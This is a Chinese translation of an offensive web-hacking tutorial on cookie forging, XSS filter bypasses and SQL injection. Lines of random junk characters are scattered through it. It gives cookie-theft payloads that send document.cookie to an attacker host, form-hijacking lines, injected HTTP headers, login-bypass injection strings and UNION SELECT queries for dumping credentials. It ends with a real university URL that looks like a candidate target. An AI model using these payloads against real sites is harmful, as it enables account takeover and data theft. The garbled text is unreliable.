XSS & SQL注入

admin

XSS & SQL注入
# @& W; c. T. f' \1 t文章作者：CyberPhreak
译文作者：黯魂 [S.S.T]
+ P" z2 E3 G1 s$ s6 K1 C- U2 h

+ g4 f# c$ C$ u6 F6 kXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
X Web Security - XSS & more X
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX


~介绍

" r/ o; ~4 L* @3 d6 u在这篇文章中我将说明所有关于XSS以及更多相关的知识.通过这篇文档,我希望能让你明白什么是XSS,为什么使用XSS,以及怎样使用XSS.一旦你学会了,你将需要发挥自己的创造力,因为大多数人都修补了简单的XSS漏洞.但是他们所忘记做的是修补比XSS的一个字符串更多的漏洞,并且php中特殊安全机制被用来防御XSS,而取代他们自己的方法.同时我将阐述的不仅仅是XSS,而是所有的web安全.

. q7 e; P5 k, x4 |' n2 J: KXXXXXXXXXXXXXXXXXXXXX
X Table OF Contents X
7 F& t2 q4 [- A, H  yXXXXXXXXXXXXXXXXXXXXX
8 s5 K3 K' E/ h0 B: J2 Q# O
XXXXXXXXXXXXXXXXXXXX
X Cookie Editing X
* C5 L' N3 Y1 b; w( U, rX XSS X
% F% g; o- y4 K  jX SQL Injection X
& F1 H  j1 g) T. ?! E3 ]XXXXXXXXXXXXXXXXXXXX

; b8 c" ^0 X- [3 n, _0 j% r0 S~什么是cookie

& F9 f6 T8 T& x! ^! a8 Dcookie就是一块数据.一旦你浏览一个站点并且注册一个帐号,一个cookie就被设置以记录你的信息.cookie仅仅保存你登录的信息以使站点检测以前你是否登录过,如果不是,它就会检测你的用户名和密码的正确性,然后登录.比如说在一个夜总会,你买了一张票,他们就会给你一张卡.因此你可以进进出出而不用每次都买票.而cookies比你所能看到的要复杂得多.夜总会只能记住你一晚上,但是cookies却能记住你一辈子.

~警告&欺骗
; t6 [9 e7 S" ]4 V) y; ~8 U
6 c# F" t. ?" p7 a$ n+ y那么现在你知道了cookie是什么...你如何看待它们?事实上,cookie编辑(修改)是最简单的方法之一.只要有一个浏览器,你就能够查看和编辑cookies,并且只需要一些基础的javascript知识.打开你的浏览器然后随便去一个网站吧,登录...现在输入javascript:alert(document.cookie).这时你应该可以看见一个用户名和密码.然而大多数站点现在都不使用cookies,而使用sessions.很遗憾,sessions不能被修改(服务端可以),不像cookies,一旦你修改了一个cookie你就可以欺骗你自己.现在让我们开始欺骗...假设你看到了一个警告框并且看到一些像这样的内容:
8 }; A7 E+ T4 o+ Z" k6 [  j8 V+ z* K
$ a) T5 r5 z3 J4 s  e: Bstrusername=cnsst;strpassword=cnsst

- c' [8 o( I1 i6 _. ~' x此时假设你知道'bitch'是一个管理员,可是你不知道密码. 由于脆弱的安全机制你不需要密码:javascript:void(document.cookie="strusername=bitch")
现在输入:javascript:alert(document.cookie).那几乎非常接近cookie修改了...

~什么是XSS
: e1 X; v* [+ D& R: ]. \
XSS,或者CSS,不管你更喜欢怎样称呼它,XSS(CSS)都代表着跨站脚本.基本上意思就是你能以任何方式注入脚本,来让它完成你想要做的.通过XSS你也可以截获输入信息,像用户名,密码以及cookies.这都将被讨论,所以接下来将会有很多例子,我们这篇文章应该能够帮你在XSS上发挥自己的创造力.
5 x; Z2 p, z% s8 d3 b
9 w$ M" [2 {0 c+ Q~为什么使用XSS

很明显的问题,通过XSS你能在客户端和服务器端执行任何类型的脚本.然而XSS却不仅仅局限于执行脚本上,还能截获输入.输入类似:<input name="name" type="name">
你通过XSS截获输入,然后通过一个秘密文件把截获到的信息发送向你的站点.而这一切绝不是XSS所能实现的全部作用.XSS还能截获cookies.Cookies保存着有价值的信息,像用户名,密码等等.
% ?1 \* D( M0 Z* Q$ V# n/ |
7 L0 `% J. T4 r6 U  d0 s+ V& Z& s~让我们开始吧…

我假定你知道html和javascript,而php知识也有帮助,但却不是必要的.让我们从这个php脚本开始.
6 P0 ^# U8 e) E: a/ H
XSS--跨站脚本&lt;html&gt;
0 p8 m9 V5 J; a! F1 a
&lt;body&gt;
- b- h& g1 B2 H" l
&lt;form action="" method="GET"&gt;
* M5 \) a2 o/ }7 n
&lt;!-- 我使用的GET方法,因为当我们利用的时候更容易练习. --&gt;

Script: &lt;input name="name" type="name"&gt;

&lt;input type="submit" value="submit"&gt;
" i! Q% R& e3 T6 g! m
5 e) m( u; d0 x* z&lt;/form&gt;
; }5 X: G% D3 A: c+ u0 t' ]
% m% Z( H0 f" O) Q0 D&lt;/body&gt;

&lt;/html&gt;

& Y# l! r0 e! r, k3 H

&lt;?php

$name = $_GET['name'];
6 Q# Z. {8 Y0 U3 C+ u3 y: O
echo("Hello $name");
! \. x9 v/ c2 i! _0 |
& ]. G& j0 N) K1 `" C1 A9 {/ }?&gt;
3 ~& v! g; @" N5 e复制代码OK,我们应该都知道上面的代码有什么用...这是一个非常奇怪的脚本,没有一个人会在自己的站点上使用它(至少我没见过),但是它对初学者理解原理却真的很有用.来看看我输入后所得到的信息:

cnsst
4 K9 z1 z/ ^! J/ w"Hello cnsst!"

/ B0 g& i& h" u! `引号内的信息就是输出信息..注意看,现在我输入:
<script>alert(document.cookie)</script>

( W+ u) h! i. t那么它将会弹出document.cookie!所以它是易受XSS攻击的!
0 b. B# b3 x1 K$ N2 x* X
8 b" h) y- U( F9 i8 ]现在我们已经对XSS有了一点了解,那让我们理解它.首先,脚本做的是取得你的输入然后粘贴它.嗯...也就是说我们能输入任何数据.所以?等等...任何数据...好的,你想问客户端和服务器端分别有什么语言? 让我告诉你,基本上客户端语言是建立在你客户端浏览器之上的:JavaScript,html, VBScript等等...
- ?" I& x! m" z( i
! L% O) w1 m- D/ W" o# P服务器端语言在另一边,不是建立在你客户端之上的,而建立在服务器之上,有php,asp等等...
1 D8 d/ v# V( U5 ]# U
1 M: }' p/ p. ]: T0 V已有一些方法注入php,稍后我将说明.现在先想想这怎样才能对我们有帮助?注入javascript?简单.比如说你正在编写一个网站程序,由于是你的站点,所以你能使用所有你想使用的javascript(JS).因此其他任何人也可以,因为XSS允许你让网站运行你想要运行的任何脚本.

让我们看一个稍微复杂点的例子!
9 H* S9 M5 N7 {+ h+ j: r3 k
假设你已经输入了<script>alert(document.cookie)</script>,并且回显是这样的:
scriptalert(document.cookie)/script
或者可能是这样的:
* Q' U8 c  g6 W" N% Z2 D2 M2 x0 X$ Fscriptalertdocument.cookie/script
* J3 s( x" x- p
- V9 |0 v" @( P& ]0 J可以看出更难利用了...不过有很多方法使用XSS,这只是其中一种.而且是其中最烂的方法之一.你看到当中的"<>"都被空字符" "替换了.
; c" ]% j% B/ a& @( I9 W* c
让我们继续利用:
<<script>>alert(document.cookie)<</script>>

你的输出将弹出document.cookie.
: [6 x1 |/ n  H5 j
现在来看看更狠的:
0 q3 I1 m% D  T* @<<script>>alert((document.cookie))<<//script>>
/ d) ^: _% i% m7 J& W% Y

- [- k$ Y( O! ?$ ~; W7 G2 }6 d他们可能会替换所有的,或者只是"<>".所以如果一对不能得以执行,另一对就可以.现在,如果你看到:
% N: H# w0 C2 G+ cscriptalertdocument.cookie/script
或者 <<<script>>>alert(document.cookie)<<</script>>>  

, z% C; J' D0 |4 F; }他们可能替换2对来欺骗你,或者替换一些字母.试着用你自己的方法来利用...你输入:
<script>alert(document.cookie)</script>
7 \1 Z9 a2 ~$ X, I
输出像这样:srplert(document.cookie)srp

: |: v3 T  @, I& i0 a% e2 C$ L8 w仔细观察,你就会发现document.cookie中并没有什么被替换.为什么呢? 因为他们并不清楚你想要alert什么,以及你想做什么.所以他们只是猜测,就只阻止了"<>"以及script部分.怎么绕过?看看这个:
4 e! b/ V. l! o. L<<sccriiptt>>aalert(document.cookie)<<//sccriiptt>>
5 E6 i9 |0 z% Q
$ E4 C( ^. C! m3 U, \8 X所有重复多余的部分刚好被替换!现在让我们来点更高级的!
4 x4 k& h7 W" D
这次他们使用的仍然是替换,但是却检查了整个字符串!例如:
5 ^9 M# O2 L- }+ r5 o! G( ]/ V<script>alert(document.cookie)</script>

输出将是:
( \3 L- |  P$ L$ `( r3 s  qscriptalert(document.cookie)script
! f6 T5 g% P# n4 i5 c0 z
% x$ t+ e) `: G# s- I6 X1 x) D看到这,你激动地说,"我知道该怎么做了!" OK,让我们按照你的方法来重新构造:
<<script>>alert(document.cookie)<</script>>

输出:scriptalert(document.cookie)script. 这时你可能会继续增加更多的<>.可是,他们替换了任何"<>",无论你输入多少个...看到我说"任何"了吗?使用下面这个例子:

/ B3 P& i/ C! C4 q3 E2 ~3 ?. d<
script
>
6 d. [" y2 k7 b7 t5 i1 `alert
. a, W/ P8 X, o6 R; x: ](
document
; Q, u/ I" k" b) z" a.
1 l1 w: N" G" o: x' l1 c6 hcookie
" c' @) d. J! r9 R: O)
<
% S/ m0 a( g) l5 [4 `, R' y7 B/
script
/ V5 m0 c! V( S5 y>

+ ^8 S" {. Y4 y% L5 y
看看它,它没有替换"<>",它替换代码关键字.所以即便你写的是一句没有"<>"的代码,将仍然被替换,这就是我们为什么这样写的原因.假如对方使用更严格的标准,替换任何类型的代码,甚至是"alert"! 我们又该怎么改进呢?看看这个:
" z& K5 O  [$ {+ {+ W3 f  A7 s6 T6 x<
: @9 e& ^! i. p# p8 K! h: P! C# vs
& }, ^( f* @0 q2 N2 O6 p8 ac
r
( ~0 {7 l3 U/ C# ui
* C& W; U1 E$ dp
t
>
a
l
( I! `; o. [2 g: v1 {$ De
7 J$ {# i( E- {. Mr
t
(
1 _6 U5 a5 @3 O2 cd
. ]4 W, e4 o, @: j% S& Z0 Co
% n+ D% r" l9 r! @: cc
4 C. {% i& [9 n+ L8 u  l' r! Wu
6 B, t8 C" q* w5 W7 Lm
e
n
t
- F2 E3 m/ Q6 K; x* }.
* a% m  T5 n  n- M( w$ w! n' X- Ac
7 i1 F- |8 T  Bo
% V0 z9 ]' f  @/ o2 O9 zo
; x) h+ Z1 L5 Mk
i
1 ^% D( Y% b+ H4 J4 A+ se
)
<
/
s
c
r
! j4 I$ @, H7 Q7 H) c$ m4 ?& Q' zi
p
t
( F% U" @8 K5 u, J/
1 Z% B" L! E; D% r7 [& M  W; D, ~>

/ u. Z7 F7 N% I* c' z; H这下应该可以了,但是如果他们仍然替换"<",你可以增加2对"<< >>"(并且你可以用任何字符取代document.cookie)

/ ~; \" G5 U3 l& [还有更多我可以演示的替换,但是我教你的只是想让你发挥自己的创造力.

现在让我来讲讲其他XSS方法.前面我们已经讨论了客户端XSS,那么现在就来看看服务器端XSS.
5 }: V/ U9 T; e: K4 L  ]
首先让我说明它们之间的区别.客户端是从你浏览器经解释语言,如JavaScript (JS) VBScript (VBS)等而看到的.服务器端XSS是通过来自服务器端的语言,如php,asp等的XSS.客户端通过浏览器查看,服务器端通过服务器查看.
- J: y" _- k0 N8 W8 _, j
我们已经学会了怎样构造客户端XSS,而构造服务器端我们必须注入脚本到服务器上.要完成这个,我们需要找到一个像任何XSS的脚本,但是这个脚本能够保存你的XSS到服务器中.现在,假设你在一个网站上发表了一篇文章,现在要做的是取代文章,用XSS,为什么我们应该用JavaScript?为什么不用php?但是先让我给你看点东西.
document.forms(0).action ="http://myserver/myscript.php
4 H* ]/ _8 M: l) q这既能在服务器端也能在客户端,没有关系.因此你的脚本将复制他们所输入的信息到那个表单中,并保存在我们站点上的一个*.txt文件中.
! E2 @; \. N* I+ D3 h/ g
5 r' M! S# _  a) B再次假设你在网站上注册了一个帐号,并且可以自定义资料...
" T3 u' V7 \+ M: w) r" J. q% ?! Adocument.images(0).src="http://myserver/cookie.php"+document.cookie.
3 B; Y  K! I$ M5 q  B或者如果你有空间可以存放指向自定义内容的链接,你可以输入:
, k8 j1 r$ |* s2 m; Y0 ]+ Njavascript:location.href="http://myserver/cookie.php"+document.cookie
+ Y/ D- z: N# B8 \1 H这将截获访问我们资料的用户的cookie.这可以用于任何地方而不仅仅在资料上,它只是一个例子.
8 v3 G! U' j9 O- ]* h; Y) u
% I9 {) Z6 D9 x' M7 T有时一个站点会回显你的UserAgent和Referer...现在让我们在DOS提示符下或者命令行窗口中试一试一些XSS,
9 a- O5 ~+ E7 ~telnet example.com
GET /page/toplacewhere_itechos_your_useragent.php HTTP/1.1
User-Agent: &lt;script&gt;alert(document.cookie)&lt;/script&gt;
) g! V4 h3 ^/ Q) AReferer: &lt;script&gt;alert(document.cookie)&lt;/script&gt;
~什么是SQL注入
6 i0 m3 W! v- o" l
SQL注入,网站中最大的安全问题之一.那么到底什么是SQL注入?其实也就是注入SQL.现在让我们来挖掘不同级别的SQL漏洞.假设你有一个像这样的登录页面:&lt;html&gt;
0 z- r* t+ W9 I3 e$ S) X. @# o1 N
&lt;body&gt;

&lt;form action="" method="POST"&gt;

Username: &lt;input name="name" type="name"&gt;
/ A' p/ H0 C3 z  J" x+ B! A
6 T  s% _& u; e8 I( \) j- G& BPassword: &lt;input name="password" type="password"&gt;

" I9 `2 `5 A% a% _% e&lt;input type="submit" type="submit" value="Submit"&gt;
2 w2 E1 q5 L5 z5 L
&lt;/form&gt;
' A* C7 T$ W$ n& d. j3 R0 Y
&lt;/body&gt;

& k: W- H! k0 s& l3 \8 m* h+ C! ~8 e&lt;/html&gt;
! m. t9 I, p" `. H! X复制代码这里面有一个XSS漏洞,但是不用担心它,没有办法猜出或者破解出密码.所以,我们该怎么办?SQL注入!

最简单的攻击是在用户名和密码那里输入"'".如果没有保护机制,此时你应该得到一个错误信息.如果你得到了,它就是极易受攻击的.可是错误信息毫无价值,除非你知道如何利用它.所以,我会给你一个你可以使用的注入列表,以便在你得到一个单引号的错误信息时使用.

'='
' i8 Y8 ^2 K0 h5 |; j" u'OR 1=1--
2 S$ A, T4 n) y. |) _6 v, _'OR a=a--
) D: H$ @6 u1 F'OR'
2 f) \& t( ^1 H
# l# `4 g+ b3 u自从人们增强安全性以后,现在这些注入就很难发挥作用了,但是下面这个列表却是很多人在安全列表里没有注意到的:

8 }9 @# o- B$ i6 j" V4 |'OR''='
1 b4 I  y) r% O; w6 V# K* \1 [2 a'OR"="
( r9 y2 j$ r5 q( a+ H6 A1 R( m'OR'="
'OR '="
'OR "='
'OR ''='
6 {! k( F4 W" V'OR '=''
'OR "=''
8 U# x3 r9 U' u" ~$ v1 s  j'OR ''="
/ R* ^* o4 _2 L; `6 C

~
现在让我说明UNION ALL SELECT声明,这将选出数据库中的一个表...所显示的内容取决于你所选择的列.
UNION ALL SELECT username,password FROM users

这个查询语句将执行,但是….如果毫无作用呢?
UNION ALL SELECT username,password FROM users WHERE username='OR "='
AND password='OR "='
9 {# q8 u% H- P& @
" H0 D* u+ F: r4 H& X% \' v1 W你可能使用其他字符来替代'OR "='以注入存在的注入点.可是首先考虑一下,你是怎么知道表名的?实际上,你发现了一个SQL漏洞,它给了你错误信息,而错误信息包含了表名.
1 T9 w" B. Z* n0 q! ?4 e3 x! W
" J( L) I. l. v' R) d0 b: T0 v一旦你发现了漏洞,你就会按照习惯去用类似'OR "='的方法去进行注入,以得到表名.有时候你想从表中查询一些有用的数据,你却不得不选择所有的表,因为你并不知道所要查询的数据在哪个表里.下面的例子中存在20个不同表名的表,你试图查询一个ip的列表:
UNION ALL SELECT
ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip FROM logs
WHERE ip='OR''="
6 Z0 y. L) `. {* m- r" Q8 D; C2 Y
现在你看到这个了吗?(我确信你已经看到了)
) p( D! x( v; P3 Jhttp://example.com/index.php?article=34
7 Y6 b$ c' Y% e1 b2 v# `7 G" h  U$ |5 N那将浏览Id为34的文章...让我们用"'"替换34:
http://example.com/index.php?article='
; B; c* j. {6 a2 C5 h- p
' n# {2 d4 s8 F7 ~0 U5 u: M
1 W, f: h! |1 W5 M/ h- P% G现在,记住我所说的,大多数人都没有意识到'所带来的不安全性,你总是能够尝试不同的注入方法,这里是一些例子:
http://example.com/index.php?article='
http://example.com/index.php?article='='
http://example.com/index.php?article='OR 1=1--
& Z7 h% V- e7 D3 y5 Y$ ahttp://example.com/index.php?article='OR a=a--
http://example.com/index.php?article='OR '="
. `- e. I' q* g$ C. w. h9 Chttp://example.com/index.php?article='OR "='
: h- k/ E1 U' U6 ahttp://example.com/index.php?article='OR ''='
. g9 V4 l0 B7 X% F! m7 P0 xhttp://example.com/index.php?article='OR '=''
" T" [$ B7 c! _9 M( T, Xhttp://example.com/index.php?article='OR''='
http://example.com/index.php?article='OR"'='
http://example.com/index.php?article='OR"''='
7 x5 p) D0 V- o- L; N' b
尽情发挥自己的创造力!
http://www.ie.tsinghua.edu.cn/notice/show.php?id=704